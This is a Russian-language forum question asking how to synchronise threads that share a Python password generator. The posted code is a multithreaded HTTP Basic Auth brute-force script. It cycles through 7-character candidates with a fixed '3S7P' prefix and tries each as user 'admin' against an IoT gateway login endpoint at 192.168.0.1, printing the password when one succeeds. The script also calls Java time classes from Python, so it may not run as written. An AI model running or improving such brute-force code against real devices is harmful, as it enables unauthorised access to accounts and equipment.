Поток доступа к генератору, приводящий к ошибке - PullRequest
0 голосов
/ 26 марта 2019

Я хочу запустить HTTP Brute Force. Пароль генерируется Генератором, и все Потоки получают к нему доступ одновременно. Поэтому я получаю следующую ошибку:

ValueError: generator already executing
    threadLock.release()
    pw = next(g)

Как правильно установить блокировку, чтобы потоки синхронизировались при доступе к генератору?

def passgen():
    global ab   
    start = Instant.now().getLong(ChronoField.INSTANT_SECONDS)
    for x in product('0123456789BCDFGHJKLMNPQRSTVWXYZ',repeat=7):
        ab = ab + 1
        print(ab)
        yield('3S7P' + "".join(x))

        if ab >= 1000:
            end = Instant.now().getLong(ChronoField.INSTANT_SECONDS)
            print(end - start)
            exit(0)



class reqThread(threading.Thread):
    def __init__(self, threadID, name):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
    def run(self):
        while True:
            print("Starting " + self.name + "\n")
            global g
            pw = next(g)
            print("Trying Login with PW: " + "\n")
            stcode = requests.get('http://192.168.0.1/cgi-bin/auth/iotgw-check-admin.lua', auth=HTTPBasicAuth('admin',pw)).status_code
            print(stcode)
            if stcode == 200:
                print("Success! Valid Password ist " + pw + " for username 'admin'")
                exit(0)
...